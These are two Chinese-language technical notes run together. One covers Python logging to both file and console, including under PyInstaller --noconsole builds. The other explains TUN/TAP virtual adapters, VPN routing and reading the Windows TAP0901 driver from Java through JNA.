Python 的 logging.basicConfig 有一个常见坑:一旦指定了 filename,默认只写文件,不往控制台打印。 问题复现 logging.basicConfig( filename="app.log", level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s" )print("print 能看到") logging.info("logger 看不到") # 只写文件,控制台不显示同时输出到文件和控制台 需要显式添加 StreamHandler: import logging import sys from datetime import datetimedef init_logger(log_file="app.log"): logger = logging.getLogger() logger.setLevel(logging.INFO) fmt = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s") # 文件输出 fh = logging.FileHandler(log_file, encoding="utf-8") fh.setFormatter(fmt) logger.addHandler(fh) # 控制台输出 ch = logging.StreamHandler(sys.stdout) ch.setFormatter(fmt) logger.addHandler(ch) return logger或者用 basicConfig + 手动追加: logging.basicConfig( level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s", filename="app.log", encoding="utf-8" )# 追加控制台 Handler console = logging.StreamHandler() console.setLevel(logging.INFO) console.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")) logging.getLogger().addHandler(console)带结构化参数的 log 方法 class MyService: def __init__(self): self.logger = logging.getLogger(self.__class__.__name__) def log(self, *args, **kwargs): msg = " ".join(str(a) for a in args) if kwargs: extra = " ".join(f"{k}={v!r}" for k, v in kwargs.items()) msg = f"{msg} | {extra}" self.logger.info(msg)# 使用 svc = MyService() svc.log("任务完成", task_id=42, duration=1.5) # 输出: 任务完成 | task_id=42 duration=1.5PyInstaller --noconsole 下看不到日志 用 --noconsole 打包的 exe 绑定到 Windows subsystem,stdout / stderr 不存在,StreamHandler 无输出目标。 解决方案: 1. 只写文件,用 tail 等工具实时查看 # PowerShell(Windows 自带,等价于 tail -f) Get-Content app.log -Tail 50 -Wait2. 自定义 GUI 日志窗口(Tkinter) import tkinter as tk from tkinter.scrolledtext import ScrolledTextclass TextHandler(logging.Handler): def __init__(self, widget): super().__init__() self.widget = widget def emit(self, record): msg = self.format(record) self.widget.insert(tk.END, msg + "\n") self.widget.see(tk.END)root = tk.Tk() text = ScrolledText(root, width=80, height=20) text.pack()handler = TextHandler(text) handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")) logging.getLogger().addHandler(handler)logging.info("程序启动") root.mainloop()3. 调试 / 发布双版本 :: build.bat pyinstaller --onefile --console --name=控制器_debug scripts.py pyinstaller --onefile --noconsole --name=控制器 scripts.py开发用 debug 版,用户用 release 版。
TUN/TAP 虚拟网卡与 VPN 代理:TUN0 路由拦截与 TAP0901 驱动
TUN vs TAP特性 TUN TAP模拟对象 IP 网络接口 以太网卡工作层 第三层(IP 层) 第二层(数据链路层)处理单元 IP 数据包 以太网帧支持协议 仅 IP IP、ARP、广播等典型用途 全局路由代理 局域网桥接CPU 开销 较小 较大TUN 适合"全部流量走 VPN",TAP 适合"需要访问远程 LAN 内设备"的桥接场景。 TUN 模式的流量拦截 VPN 客户端启用 TUN 模式的流程:创建虚拟网卡 tun0 修改系统路由表,将默认路由(0.0.0.0/0)指向 tun0 所有出站 IP 包经过 tun0 → VPN 客户端加密封装 → 通过真实网卡发送到 VPN 服务器[本地应用] | (IP 包) v [tun0 虚拟网卡] | (加密封装) v [VPN 客户端程序] | v [VPN 服务器 -> 目标网络]TUN 全局模式会代理 localhost 开启全局代理时,若未排除环回地址,127.0.0.1 的流量也会被 tun0 拦截,导致本地服务访问失败。 排除 localhost(OpenVPN 配置) route 127.0.0.1 255.0.0.0 net_gateway或在客户端设置中勾选"分流模式",只代理外网 IP。 TAP0901 驱动(Windows) TAP-Windows Adapter V9(tap0901)是 OpenVPN 在 Windows 上使用的虚拟以太网卡驱动,安装后在网络适配器列表中以普通网卡形式出现。 驱动通过设备文件暴露接口: \\.\Global\{TAP-Adapter-GUID}.tapJava 通过 JNA 读写数据包 // 打开设备文件 HANDLE h = Kernel32.INSTANCE.CreateFile( "\\\\.\\Global\\{GUID}.tap", WinNT.GENERIC_READ | WinNT.GENERIC_WRITE, 0, null, WinNT.OPEN_EXISTING, WinNT.FILE_ATTRIBUTE_NORMAL, null );// 读取以太网帧 byte[] buf = new byte[2048]; IntByReference bytesRead = new IntByReference(); Kernel32.INSTANCE.ReadFile(h, buf, buf.length, bytesRead, null);// 写入以太网帧 Kernel32.INSTANCE.WriteFile(h, buf, bytesRead.getValue(), bytesRead, null);操作虚拟网卡需要管理员权限。TAP0901 只在 Windows 上可用;Linux 和 macOS 使用系统内置的 TUN/TAP 接口。 实现 VPN 客户端的选型目标 方案 难度仅代理指定应用流量 纯 Socket / SOCKS5 代理 低全局系统流量拦截 TUN/TAP 驱动 + JNI/JNA 高Java 只能做用户空间的协议与加密逻辑;全局流量拦截必须借助内核级虚拟网卡驱动(TUN/TAP)。
